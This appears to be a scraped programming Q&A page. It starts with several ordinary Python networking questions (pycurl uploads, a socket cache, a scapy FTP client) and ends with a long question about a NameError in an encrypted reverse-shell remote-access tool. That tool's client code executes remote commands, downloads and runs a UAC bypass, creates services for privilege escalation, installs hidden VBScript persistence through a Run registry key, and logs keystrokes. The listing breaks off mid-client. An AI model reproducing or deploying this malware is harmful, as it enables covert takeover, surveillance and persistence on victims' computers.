So the curl command I'm using is as follows:
cmd = "curl --write-out %{http_code} -X PUT -T " + self.basedir + putfile + " -# -o /dev/null " + self.uri + "/" + self.dist + "/" + putfile
I'd like to change this from invoking a system command to using pycurl. This way I can have more granular control over it and ultimately implement a progress bar for it. However, when I try and convert to python, my resulting script fails. Here is my efforts towards a python script:
f = open(filepath, "rb")
fs = os.path.getsize(filepath)
c = pycurl.Curl()
c.setopt(c.URL, target_url)
c.setopt(c.HTTPHEADER, ["User-Agent: Load Tool (PyCURL Load Tool)"])
c.setopt(c.PUT, 1)
c.setopt(c.READDATA, f)
c.setopt(c.INFILESIZE, int(fs))
c.setopt(c.NOSIGNAL, 1)
c.setopt(c.VERBOSE, 1)
c.body = StringIO()
c.setopt(c.WRITEFUNCTION, c.body.write)
try:
c.perform()
except:
import traceback
traceback.print_exc(file=sys.stderr)
sys.stderr.flush()
f.close()
c.close()
sys.stdout.write(".")
sys.stdout.flush()
Here's what that outputs:
* About to connect() to ************ port 8090 (#0)
* Trying 16.94.124.53... * connected
> PUT /incoming/ HTTP/1.1
Host: ***********
Accept: */*
User-Agent: Load Tool (PyCURL Load Tool)
Content-Length: 21
Expect: 100-continue
< HTTP/1.1 100 Continue
* We are completely uploaded and fine
< HTTP/1.1 500 Internal Server Error
< Content-type: text/html
* no chunk, no close, no size. Assume close to signal end
<
Thanks in advance for you help!
I've did uploading working module, you can find your answers looking in code.
And you can find almost all answers regarding pycurl by digging libcurl examples and Docs.
'''
Created on Oct 22, 2013
#author: me
'''
import pycurl
import os
import wx
import sys
import hashlib
from cStringIO import StringIO
def get_file_hash(full_filename):
BLOCKSIZE = 65536
hasher = hashlib.md5()
with open(full_filename, 'rb') as afile:
buf = afile.read(BLOCKSIZE)
while len(buf) > 0:
hasher.update(buf)
buf = afile.read(BLOCKSIZE)
return hasher.hexdigest()
class FtpUpload(object):
def __init__(self, server, username, password, **items):
self.server = server
self.username = username
self.password = password
self.gauge = items.get("gauge")
self.sb_speed = items.get("sb_speed")
self.upload_file_size = items.get("upload_file_size")
self.upload_file_speed = items.get("upload_file_speed")
self.filesize = 0
self.ftp_filehash = '0'
def sizeToNiceString(self, byteCount):
for (cutoff, label) in [(1024*1024*1024, "GB"), (1024*1024, "MB"), (1024, "KB")]:
if byteCount >= cutoff:
return "%.2f %s" % (byteCount * 1.0 / cutoff, label)
if byteCount == 1:
return "1 byte"
else:
return "%d bytes" % byteCount
def initRange(self, filesize):
self.filesize = filesize
self.gauge.SetRange(filesize)
def updateValue(self, upload_d):
upload_d_int = int(upload_d)
self.gauge.SetValue(upload_d_int)
upload_d_str = self.sizeToNiceString(upload_d)
upload_percent = int((upload_d*100)/self.filesize)
upload_d_status = "{0}/{1} ({2}%)".format(upload_d_str, self.sizeToNiceString(self.filesize), upload_percent)
self.sb_speed.SetStatusText(upload_d_status, 1)
self.upload_file_size.SetLabel(upload_d_status)
self.upload_file_speed.SetLabel(upload_d_str)
def progress(self, download_t, download_d, upload_t, upload_d):
self.updateValue(upload_d)
def test(self, debug_type, debug_msg):
if len(debug_msg) < 300:
print "debug(%d): %s" % (debug_type, debug_msg.strip())
def ftp_file_hash(self, buf):
sys.stderr.write("{0:.<20} : {1}\n".format('FTP RAW ', buf.strip()))
ftp_filehash = dict()
item = buf.strip().split('\n')[0]
ext = item.split('.')[1]
if len(ext) > 3:
ftp_filename = item[:-33]
ftp_filehash = item[-32:]
self.ftp_filehash = ftp_filehash
def get_ftp_file_hash(self, filename):
c = pycurl.Curl()
list_file_hash = 'LIST -1 ' + filename + "_*"
sys.stderr.write("{0:.<20} : {1} \n".format('FTP command ', list_file_hash))
c.setopt(pycurl.URL, self.server)
c.setopt(pycurl.USERNAME, self.username)
c.setopt(pycurl.PASSWORD, self.password)
c.setopt(pycurl.VERBOSE, False)
c.setopt(pycurl.DEBUGFUNCTION, self.test)
c.setopt(pycurl.CUSTOMREQUEST, list_file_hash)
c.setopt(pycurl.WRITEFUNCTION, self.ftp_file_hash)
c.perform()
c.close()
def delete_ftp_hash_file(self, ftp_hash_file_old):
c = pycurl.Curl()
delete_hash_file = 'DELE ' + ftp_hash_file_old
sys.stderr.write("{0:.<20} : {1} \n".format('FTP command ', delete_hash_file))
c.setopt(pycurl.URL, self.server)
c.setopt(pycurl.USERNAME, self.username)
c.setopt(pycurl.PASSWORD, self.password)
c.setopt(pycurl.VERBOSE, False)
c.setopt(pycurl.DEBUGFUNCTION, self.test)
c.setopt(pycurl.CUSTOMREQUEST, delete_hash_file)
try:
c.perform()
except Exception as e:
print e
c.close()
def upload(self, full_filename, filesize):
self.initRange(filesize)
filename = os.path.basename(full_filename)
sys.stderr.write("filename: %s\n" % full_filename)
c = pycurl.Curl()
c.setopt(pycurl.USERNAME, self.username)
c.setopt(pycurl.PASSWORD, self.password)
c.setopt(pycurl.VERBOSE, False)
c.setopt(pycurl.DEBUGFUNCTION, self.test)
c.setopt(pycurl.NOBODY, True)
c.setopt(pycurl.HEADER, False)
ftp_file_path = os.path.join(self.server, os.path.basename(full_filename))
file_hash = get_file_hash(full_filename)
ftp_hash_file = ftp_file_path + "_%s" % file_hash
# Getting filesize if exist on server.
try:
c.setopt(pycurl.URL, ftp_file_path)
c.perform()
filesize_offset = int(c.getinfo(pycurl.CONTENT_LENGTH_DOWNLOAD))
except Exception as error_msg:
print error_msg
wx.MessageBox(str(error_msg), 'Connection error!',
wx.OK | wx.ICON_ERROR)
# Exit upload function.
return True
ftp_file_append = True
# Get ftp file hash.
self.get_ftp_file_hash(filename)
offset = filesize_offset == -1 and '0' or filesize_offset
sys.stderr.write("L_file hash : {0:.<60}: {1:<40}\n".format(filename, file_hash))
sys.stderr.write("F_file hash : {0:.<60}: {1:<40}\n".format(filename, self.ftp_filehash))
sys.stderr.write("{0:15} : {1:.>15}\n".format('filesize:', filesize))
sys.stderr.write("{0:15} : {1:.>15}\n".format('ftp_filesize', offset))
sys.stderr.write("{0:15} : {1:.>15}\n".format('to upload:', filesize - int(offset)))
# File not exist on FTP server.
if filesize_offset == -1:
# file not exist: uploading from offset zero.
ftp_file_append = False
filesize_offset = 0
# Local and FTP file size and files MD5 are the same.
elif filesize_offset == self.filesize and file_hash == self.ftp_filehash:
sys.stderr.write("--- File exist on server! ---\n\n")
self.upload_file_speed.SetLabel("File exist on server!")
self.sb_speed.SetStatusText("File exist on server!", 1)
# Check next filename.
return False
# Ftp file and local file different data.
elif file_hash != self.ftp_filehash:
ftp_file_append = False
filesize_offset = 0
ftp_hash_file_old = filename + "_" + self.ftp_filehash
# delete old hash file.
self.delete_ftp_hash_file(ftp_hash_file_old)
c.setopt(pycurl.FTPAPPEND, ftp_file_append)
c.setopt(pycurl.UPLOAD, True)
c.setopt(pycurl.PROGRESSFUNCTION, self.progress)
with open('filehash.txt', 'w') as f:
f.write(file_hash)
for item in ("filehash.txt", full_filename):
# dont show progress by default.
noprogress = True
# upload ftp_hash_file first.
ftp_url = ftp_hash_file
with open(item, "rb") as f:
# chages ftp_url and show progress values, add filesize_offset.
if item != "filehash.txt":
f.seek(filesize_offset)
noprogress = False
ftp_url = ftp_file_path
c.setopt(pycurl.URL, ftp_url)
c.setopt(pycurl.NOPROGRESS, noprogress)
c.setopt(pycurl.READFUNCTION, f.read)
try:
c.perform()
if item != "filehash.txt":
sys.stderr.write("{0:15} : {1:.>15}\n\n".format("size uploaded", int(c.getinfo(pycurl.SIZE_UPLOAD))))
except Exception as error_msg:
print error_msg
wx.MessageBox(str(error_msg), 'Connection error!',
wx.OK | wx.ICON_ERROR)
# Exit upload function.
return True
self.ftp_filehash = '0'
c.close()
if __name__ == '__main__':
pass
Related
I need to add client side caching functionality to my client, I don't need to implement any replacement or validation policies.Just be able to write responses to the disk (i.e., the cache) and fetch them from the disk when I get a cache hit. For this, I need to implement some internal data structure in my client to keep track of which objects are cached and where they are on the disk. I can keep this data structure in the main memory; there is no need to make it persist across shutdowns.
Here's the Code I tried to write the caching part but it isn't working I need your help please:
import socket
import selectors
import os
commands = []
requests = []
request_methods = []
filenames = []
host_names = []
port_numbers = []
cached_objects = {}
sel = selectors.DefaultSelector()
with open('commands.txt', encoding='UTF-8', mode='r') as f:
commands = f.readlines()
def parse_file():
for count in range(len(commands)):
request_method = commands[count].split(' ')[0]
request_methods.append(request_method)
filename = commands[count].split(' ')[1]
filenames.append(filename)
host_name = commands[count].split(' ')[2].strip('\n')
host_names.append(host_name)
try:
port_number = commands[count].split(' ')[3].strip('\n')
port_numbers.append(port_number)
except Exception as e:
port_number = 80
port_numbers.append(port_number)
requests.append(generate_request(request_method, filename, host_name))
def generate_request(request_method, filename, host_name):
request = ''
if request_method == "GET":
request += request_method + ' /' + filename + ' HTTP/1.0\r\n'
request += 'Host:' + host_name + '\r\n\r\n'
print(request)
elif request_method == "POST":
request += request_method + ' /' + filename + ' HTTP/1.0\r\n'
request += 'Host:' + host_name + '\r\n'
request += '\r\n'
#Reading POST File From ClientFiles
print(filename)
f = open(filename,"r")
request += f.read()
print(request)
return request
def start_connections(host, port, request, filename, request_method):
server_addr = (host, port)
events = selectors.EVENT_READ | selectors.EVENT_WRITE
# connid = count + 1
print(f"Starting connection to {server_addr}")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect_ex(server_addr)
sock.sendall(bytes(request, 'UTF-8'))
data = sock.recv(4092)
response = data.decode()
cached_objects[request] = response # <<<<<<<<<<<<<<<<<<
# TODO: Fix Name of the file
fileReady = "Clientfiles/"
head, tail = os.path.split(filename)
fileReady += tail
print("\n RESPONSE " + response + "\n response end")
try:
if request_method == "GET":
payload = response.split('\r\n\r\n', 1)[1]
print("MyPayload " + payload)
f = open(fileReady, "w")
f.write(payload)
f.close()
except Exception as e:
print(e)
print("From Server :", response)
print("\n\n")
sel.register(sock, events)
def check_cache(request):
for i in range(len(commands)):
request = requests[i]
if request in cached_objects.keys():
response = cached_objects[request] # <<<<<<<<<<<<<<<<<<
print("\n RESPONSE From cache " + response + "\n response end") # <<<<<<<<<<<<<<<<<<
# i = i + 1 # <<<<<<<<<<<<<<<<<<
else:
start_connections(host_names[i], int(port_numbers[i]), requests[i], filenames[i], request_methods[i])
parse_file()
check_cache(generate_request.request)
I am trying to get the file through FTP protocol using scapy from the specified destination but it is failing even though i am able to create a connection and login to FTP server but file is not retrieved.
'''
! /usr/bin/python2.7
usage: sudo python2.7 client.py [ftp-server-ip]
username and password is currently hardcoded
'''
from scapy.all import *
from random import randint
import sys
class FTPClinet:
def __init__(self, dst):
self.sport = random.randint(1024, 65535)
# self.src = src
self.dst = "90.130.70.73"
self.next_seq = 1000
self.next_ack = 0
self.basic_pkt = IP(src="127.0.0.1",dst=self.dst)/TCP(sport=self.sport, dport=21)
self.tcp_flags = {
'TCP_FIN': 0x01,
'TCP_SYN': 0x02,
'TCP_RST': 0x04,
'TCP_PSH': 0x08,
'TCP_ACK': 0x10,
'TCP_URG': 0x20,
'TCP_ECE': 0x40,
'TCP_CWR': 0x80
}
def send_syn(self):
synack = None
ip = IP(dst=self.dst)
syn = TCP(sport=self.sport, dport=21, flags='S', seq=self.next_seq, ack=self.next_ack)
while not synack:
synack = sr1(ip/syn, timeout=1)
self.next_seq = synack[TCP].ack
return synack
def send_ack(self, pkt):
l = 0
ip = IP(dst=self.dst)
self.next_ack = pkt[TCP].seq + self.get_next_ack(pkt)
ack = TCP(sport=self.sport, dport=21, flags='A', seq=self.next_seq, ack=self.next_ack)
send(ip/ack)
def get_next_ack(self, pkt):
total_len = pkt.getlayer(IP).len
ip_hdr_len = pkt.getlayer(IP).ihl * 32 / 8
tcp_hdr_len = pkt.getlayer(TCP).dataofs * 32 / 8
ans = total_len - ip_hdr_len - tcp_hdr_len
return (ans if ans else 1)
def handshake(self):
synack = self.send_syn()
self.send_ack(synack)
print "sniff called"
sniff(timeout=4, lfilter=self.sniff_filter, prn=self.manage_resp)
print "Handshake complete"
def get_file(self, user, passwd, filen):
user = "USER " + user + '\r\n'
passwd = "PASS " + passwd + '\r\n'
filen = "RETR " +filen + '\r\n'
cwd = "PASV" + '\r\n'
pkt = self.basic_pkt
pkt[TCP].flags = 'AP'
pkt[TCP].seq = self.next_seq
pkt[TCP].ack = self.next_ack
ftp_user = pkt/user
self.send_pkt(ftp_user)
print "userid sent"
pkt[TCP].seq = self.next_seq
pkt[TCP].ack = self.next_ack
ftp_pass = pkt/passwd
self.send_pkt(ftp_pass)
print "password sent"
pkt[TCP].sport = pkt[TCP].sport - 1
pkt[TCP].dport = 20
pkt[TCP].seq = self.next_seq
pkt[TCP].ack = self.next_ack
ftp_filen = pkt/filen
self.send_pkt(ftp_filen)
print "retrieved file"
def sniff_filter(self, pkt):
return pkt.haslayer(IP) and pkt[IP].src==self.dst and pkt.haslayer(TCP) and pkt[TCP].dport == self.sport and pkt[TCP].sport == 21
def manage_resp(self, pkt):
print pkt.show()
if (pkt[TCP].flags == 16L):
self.next_seq = pkt[TCP].ack
elif (pkt[TCP].flags & self.tcp_flags['TCP_ACK']):
self.next_seq = pkt[TCP].ack
self.send_ack(pkt)
elif Raw in pkt:
print "raw packet khamar"
print pkt[Raw]
send_ack(pkt)
else:
print 'Unknown'
print pkt.show()
send_ack(pkt)
def send_p(self,pkt=None):
if pkt:
sr1(pkt)
sniff(timeout=4, lfilter=self.sniff_filter, prn=self.manage_resp)
return
def send_pkt(self, pkt=None):
if pkt:
send(pkt)
sniff(timeout=4, lfilter=self.sniff_filter, prn=self.manage_resp)
return
def close(self):
resp = None
pkt = self.basic_pkt
pkt[TCP].flags = 'FA'
pkt[TCP].seq = self.next_seq
pkt[TCP].ack = self.next_ack
print pkt.show()
while not resp:
resp = sr1(pkt, timeout=4)
# self.send_ack(resp)
self.send_pkt(resp)
h = FTPClinet(sys.argv[1])
h.handshake()
h.get_file("anonymous","","1KB.zip")
h.close()
I am very new to Python. I was following a simple Python tutorial, but don't get the expected results.
After running the compiled executable on the client, the client shows up on my server. However, when I choose the client number (1), the python script is immediately exited and I get the following error when run on a remote Linux server:
Activating client: ('172.51.8.204', 18268)
Traceback (most recent call last):
File "xmulti_aeserver.py", line 207, in <module>
if nextcmd.startswith("download ") == True:
NameError: name 'nextcmd' is not defined
When run locally on a Windows server, the script does not exit, but the server disconnects the client as such:
Activating client: ('192.168.1.104', 26042)
Client disconnected... ('192.168.1.104', 26042)
I've been reading about name errors everywhere, and I can't see anything wrong with the code I'm using.
Here is my server code (xmulti_aeserver.py):
#!/usr/bin/env python
from Crypto.Cipher import AES
import socket, base64, os, time, sys, select
from Crypto import Random
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))
# generate a random secret key
secret = "HUISA78sa9y&9syYSsJhsjkdjklfs9aR"
iv = Random.new().read(16)
# clear function
##################################
# Windows ---------------> cls
# Linux ---------------> clear
if os.name == 'posix': clf = 'clear'
if os.name == 'nt': clf = 'cls'
clear = lambda: os.system(clf)
# initialize socket
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
c.bind(('0.0.0.0', 443))
c.listen(128)
# client information
active = False
clients = []
socks = []
interval = 0.8
# Functions
###########
# send data
def Send(sock, cmd, end="EOFEOFEOFEOFEOFX"):
sock.sendall(EncodeAES(cipher, cmd + end))
# receive data
def Receive(sock, end="EOFEOFEOFEOFEOFX"):
data = ""
l = sock.recv(1024)
while(l):
decrypted = DecodeAES(cipher, l)
data += decrypted
if data.endswith(end) == True:
break
else:
l = sock.recv(1024)
return data[:-len(end)]
# download file
def download(sock, remote_filename, local_filename=None):
# check if file exists
if not local_filename:
local_filename = remote_filename
try:
f = open(local_filename, 'wb')
except IOError:
print "Error opening file.\n"
Send(sock, "cd .")
return
# start transfer
Send(sock, "download "+remote_filename)
print "Downloading: " + remote_filename + " > " + local_filename
fileData = Receive(sock)
f.write(fileData)
time.sleep(interval)
f.close()
time.sleep(interval)
# upload file
def upload(sock, local_filename, remote_filename=None):
# check if file exists
if not remote_filename:
remote_filename = local_filename
try:
g = open(local_filename, 'rb')
except IOError:
print "Error opening file.\n"
Send(sock, "cd .")
return
# start transfer
Send(sock, "upload "+remote_filename)
print 'Uploading: ' + local_filename + " > " + remote_filename
while True:
fileData = g.read()
if not fileData: break
Send(sock, fileData, "")
g.close()
time.sleep(interval)
Send(sock, "")
time.sleep(interval)
# refresh clients
def refresh():
clear()
print '\nListening for clients...\n'
if len(clients) > 0:
for j in range(0,len(clients)):
print '[' + str((j+1)) + '] Client: ' + clients[j] + '\n'
else:
print "...\n"
# print exit option
print "---\n"
print "[0] Exit \n"
print "\nPress Ctrl+C to interact with client."
# main loop
while True:
refresh()
# listen for clients
try:
# set timeout
c.settimeout(10)
# accept connection
try:
s,a = c.accept()
except socket.timeout:
continue
# add socket
if (s):
s.settimeout(None)
socks += [s]
clients += [str(a)]
# display clients
refresh()
# sleep
time.sleep(interval)
except KeyboardInterrupt:
# display clients
refresh()
# accept selection --- int, 0/1-128
activate = input("\nEnter option: ")
# exit
if activate == 0:
print '\nExiting...\n'
for j in range(0,len(socks)):
socks[j].close()
sys.exit()
# subtract 1 (array starts at 0)
activate -= 1
# clear screen
clear()
# create a cipher object using the random secret
cipher = AES.new(secret,AES.MODE_CFB, iv)
print '\nActivating client: ' + clients[activate] + '\n'
active = True
Send(socks[activate], 'Activate')
# interact with client
while active:
try:
# receive data from client
data = Receive(socks[activate])
# disconnect client.
except:
print '\nClient disconnected... ' + clients[activate]
# delete client
socks[activate].close()
time.sleep(0.8)
socks.remove(socks[activate])
clients.remove(clients[activate])
refresh()
active = False
break
# exit client session
if data == 'quitted':
# print message
print "Exit.\n"
# remove from arrays
socks[activate].close()
socks.remove(socks[activate])
clients.remove(clients[activate])
# sleep and refresh
time.sleep(0.8)
refresh()
active = False
break
# if data exists
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
# download
if nextcmd.startswith("download ") == True:
if len(nextcmd.split(' ')) > 2:
download(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
else:
download(socks[activate], nextcmd.split(' ')[1])
# upload
elif nextcmd.startswith("upload ") == True:
if len(nextcmd.split(' ')) > 2:
upload(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
else:
upload(socks[activate], nextcmd.split(' ')[1])
# normal command
elif nextcmd != '':
Send(socks[activate], nextcmd)
elif nextcmd == '':
print 'Think before you type. ;)\n'
Here is my client code (xmulti_aeshell.py):
#!/usr/bin/python
from Crypto.Cipher import AES
import subprocess, socket, base64, time, os, sys, urllib2, pythoncom, pyHook, logging
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))
# generate a random secret key
secret = "HUISA78sa9y&9syYSsJhsjkdjklfs9aR"
# server config
HOST = '192.168.1.104'
PORT = 443
# session controller
active = False
# Functions
###########
# send data function
def Send(sock, cmd, end="EOFEOFEOFEOFEOFX"):
sock.sendall(EncodeAES(cipher, cmd + end))
# receive data function
def Receive(sock, end="EOFEOFEOFEOFEOFX"):
data = ""
l = sock.recv(1024)
while(l):
decrypted = DecodeAES(cipher, l)
data = data + decrypted
if data.endswith(end) == True:
break
else:
l = sock.recv(1024)
return data[:-len(end)]
# prompt function
def Prompt(sock, promptmsg):
Send(sock, promptmsg)
answer = Receive(sock)
return answer
# upload file
def Upload(sock, filename):
bgtr = True
# file transfer
try:
f = open(filename, 'rb')
while 1:
fileData = f.read()
if fileData == '': break
# begin sending file
Send(sock, fileData, "")
f.close()
except:
time.sleep(0.1)
# let server know we're done..
time.sleep(0.8)
Send(sock, "")
time.sleep(0.8)
return "Finished download."
# download file
def Download(sock, filename):
# file transfer
g = open(filename, 'wb')
# download file
fileData = Receive(sock)
time.sleep(0.8)
g.write(fileData)
g.close()
# let server know we're done..
return "Finished upload."
# download from url (unencrypted)
def Downhttp(sock, url):
# get filename from url
filename = url.split('/')[-1].split('#')[0].split('?')[0]
g = open(filename, 'wb')
# download file
u = urllib2.urlopen(url)
g.write(u.read())
g.close()
# let server know we're done...
return "Finished download."
# privilege escalation
def Privs(sock):
# Windows/NT Methods
if os.name == 'nt':
# get initial info
privinfo = '\nUsername: ' + Exec('echo %USERNAME%')
privinfo += Exec('systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"')
winversion = Exec('systeminfo')
windowsnew = -1
windowsold = -1
# newer versions of windows go here
windowsnew += winversion.find('Windows 7')
windowsnew += winversion.find('Windows 8')
windowsnew += winversion.find('Windows Vista')
windowsnew += winversion.find('Windows VistaT')
windowsnew += winversion.find('Windows Server 2008')
# older versions go here (only XP)
windowsold += winversion.find('Windows XP')
windowsold += winversion.find('Server 2003')
# if it is, display privs using whoami command.
if windowsnew > 0:
privinfo += Exec('whoami /priv') + '\n'
# check if user is administrator
admincheck = Exec('net localgroup administrators | find "%USERNAME%"')
# if user is in the administrator group, attempt service priv. esc. using bypassuac
if admincheck != '':
privinfo += 'Administrator privilege detected.\n\n'
# if windows version is vista or greater, bypassUAC :)
if windowsnew > 0:
# prompt for bypassuac location or url
bypassuac = Prompt(sock, privinfo+'Enter location/url for BypassUAC: ')
# attempt to download from url
if bypassuac.startswith("http") == True:
try:
c = Downhttp(sock, bypassuac)
d = os.getcwd() + '\\' + bypassuac.split('/')[-1]
except:
return "Download failed: invalid url.\n"
# attempt to open local file
else:
try:
c = open(bypassuac)
c.close()
d = bypassuac
except:
return "Invalid location for BypassUAC.\n"
# fetch executable's location
curdir = os.path.join(sys.path[0], sys.argv[0])
# add service
if windowsnew > 0: elvpri = Exec(d + ' elevate /c sc create blah binPath= "cmd.exe /c ' + curdir + '" type= own start= auto')
if windowsold > 0: elvpri = Exec('sc create blah binPath= "' + curdir + '" type= own start= auto')
# start service
if windowsnew > 0: elvpri = Exec(d + ' elevate /c sc start blah')
if windowsold > 0: elvpri = Exec('sc start blah')
# finished.
return "\nPrivilege escalation complete.\n"
# windows xp doesnt allow wmic commands by defautlt ;(
if windowsold > 0:
privinfo += 'Unable to escalate privileges.\n'
return privinfo
# attempt to search for weak permissions on applications
privinfo += 'Searching for weak permissions...\n\n'
# array for possible matches
permatch = []
permatch.append("BUILTIN\Users:(I)(F)")
permatch.append("BUILTIN\Users:(F)")
permbool = False
# stage 1 outputs to text file: p1.txt
xv = Exec('for /f "tokens=2 delims=\'=\'" %a in (\'wmic service list full^|find /i "pathname"^|find /i /v "system32"\') do #echo %a >> p1.txt')
# stage 2 outputs to text file: p2.txt
xv = Exec('for /f eol^=^"^ delims^=^" %a in (p1.txt) do cmd.exe /c icacls "%a" >> p2.txt')
# give some time to execute commands,
# 40 sec should do it... ;)
time.sleep(40)
# loop from hell to determine a match to permatch array.
ap = 0
bp = 0
dp = open('p2.txt')
lines = dp.readlines()
for line in lines:
cp = 0
while cp < len(permatch):
j = line.find(permatch[cp])
if j != -1:
# we found a misconfigured directory :)
if permbool == False:
privinfo += 'The following directories have write access:\n\n'
permbool = True
bp = ap
while True:
if len(lines[bp].split('\\')) > 2:
while bp <= ap:
privinfo += lines[bp]
bp += 1
break
else:
bp -= 1
cp += 1
ap += 1
time.sleep(4)
if permbool == True: privinfo += '\nReplace executable with Python shell.\n'
if permbool == False: privinfo += '\nNo directories with misconfigured premissions found.\n'
# close file
dp.close()
# delete stages 1 & 2
xv = Exec('del p1.txt')
xv = Exec('del p2.txt')
return privinfo
# persistence
def Persist(sock, redown=None, newdir=None):
# Windows/NT Methods
if os.name == 'nt':
privscheck = Exec('reg query "HKU\S-1-5-19" | find "error"')
# if user isn't system, return
if privscheck != '':
return "You must be authority\system to enable persistence.\n"
# otherwise procede
else:
# fetch executable's location
exedir = os.path.join(sys.path[0], sys.argv[0])
exeown = exedir.split('\\')[-1]
# get vbscript location
vbsdir = os.getcwd() + '\\' + 'vbscript.vbs'
# write VBS script
if redown == None: vbscript = 'state = 1\nhidden = 0\nwshname = "' + exedir + '"\nvbsname = "' + vbsdir + '"\nWhile state = 1\nexist = ReportFileStatus(wshname)\nIf exist = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(wshname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(vbsname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nSet WshShell = WScript.CreateObject ("WScript.Shell")\nSet colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")\nFor Each objProcess in colProcessList\nif objProcess.name = "' + exeown + '" then\nvFound = True\nEnd if\nNext\nIf vFound = True then\nwscript.sleep 50000\nElse\nWshShell.Run """' + exedir + '""",hidden\nwscript.sleep 50000\nEnd If\nvFound = False\nElse\nwscript.sleep 50000\nEnd If\nWend\nFunction ReportFileStatus(filespec)\nDim fso, msg\nSet fso = CreateObject("Scripting.FileSystemObject")\nIf (fso.FileExists(filespec)) Then\nmsg = True\nElse\nmsg = False\nEnd If\nReportFileStatus = msg\nEnd Function\n'
else:
if newdir == None:
newdir = exedir
newexe = exeown
else:
newexe = newdir.split('\\')[-1]
vbscript = 'state = 1\nhidden = 0\nwshname = "' + exedir + '"\nvbsname = "' + vbsdir + '"\nurlname = "' + redown + '"\ndirname = "' + newdir + '"\nWhile state = 1\nexist1 = ReportFileStatus(wshname)\nexist2 = ReportFileStatus(dirname)\nIf exist1 = False And exist2 = False then\ndownload urlname, dirname\nEnd If\nIf exist1 = True Or exist2 = True then\nif exist1 = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(wshname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nexist2 = False\nend if\nif exist2 = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(dirname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nend if\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(vbsname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nSet WshShell = WScript.CreateObject ("WScript.Shell")\nSet colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")\nFor Each objProcess in colProcessList\nif objProcess.name = "' + exeown + '" OR objProcess.name = "' + newexe + '" then\nvFound = True\nEnd if\nNext\nIf vFound = True then\nwscript.sleep 50000\nEnd If\nIf vFound = False then\nIf exist1 = True then\nWshShell.Run """' + exedir + '""",hidden\nEnd If\nIf exist2 = True then\nWshShell.Run """' + dirname + '""",hidden\nEnd If\nwscript.sleep 50000\nEnd If\nvFound = False\nEnd If\nWend\nFunction ReportFileStatus(filespec)\nDim fso, msg\nSet fso = CreateObject("Scripting.FileSystemObject")\nIf (fso.FileExists(filespec)) Then\nmsg = True\nElse\nmsg = False\nEnd If\nReportFileStatus = msg\nEnd Function\nfunction download(sFileURL, sLocation)\nSet objXMLHTTP = CreateObject("MSXML2.XMLHTTP")\nobjXMLHTTP.open "GET", sFileURL, false\nobjXMLHTTP.send()\ndo until objXMLHTTP.Status = 200 : wscript.sleep(1000) : loop\nIf objXMLHTTP.Status = 200 Then\nSet objADOStream = CreateObject("ADODB.Stream")\nobjADOStream.Open\nobjADOStream.Type = 1\nobjADOStream.Write objXMLHTTP.ResponseBody\nobjADOStream.Position = 0\nSet objFSO = Createobject("Scripting.FileSystemObject")\nIf objFSO.Fileexists(sLocation) Then objFSO.DeleteFile sLocation\nSet objFSO = Nothing\nobjADOStream.SaveToFile sLocation\nobjADOStream.Close\nSet objADOStream = Nothing\nEnd if\nSet objXMLHTTP = Nothing\nEnd function\n'
# open file & write
vbs = open('vbscript.vbs', 'wb')
vbs.write(vbscript)
vbs.close()
# add registry to startup
persist = Exec('reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v blah /t REG_SZ /d "' + vbsdir + '"')
persist += '\nPersistence complete.\n'
return persist
# execute command
def Exec(cmde):
# check if command exists
if cmde:
execproc = subprocess.Popen(cmde, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
cmdoutput = execproc.stdout.read() + execproc.stderr.read()
return cmdoutput
# otherwise, return
else:
return "Enter a command.\n"
# keylogging function
# version 1, by K.B. Carte
##########################
# enter log filename.
LOG_STATE = True
LOG_FILENAME = 'keylog.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10,chr(event.Ascii))
return True
# main loop
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# create a cipher object using the random secret
cipher = AES.new(secret,AES.MODE_CFB, iv)
# waiting to be activated...
data = Receive(s)
# activate.
if data == 'Activate':
active = True
Send(s, "\n"+os.getcwd()+">")
# interactive loop
while active:
# Receive data
data = Receive(s)
# think before you type smartass
if data == '':
time.sleep(0.02)
# check for quit
if data == "quit" or data == "terminate":
Send(s, "quitted")
break
# check for change directory
elif data.startswith("cd ") == True:
try:
os.chdir(data[3:])
stdoutput = ""
except:
stdoutput = "Error opening directory.\n"
# check for download
elif data.startswith("download") == True:
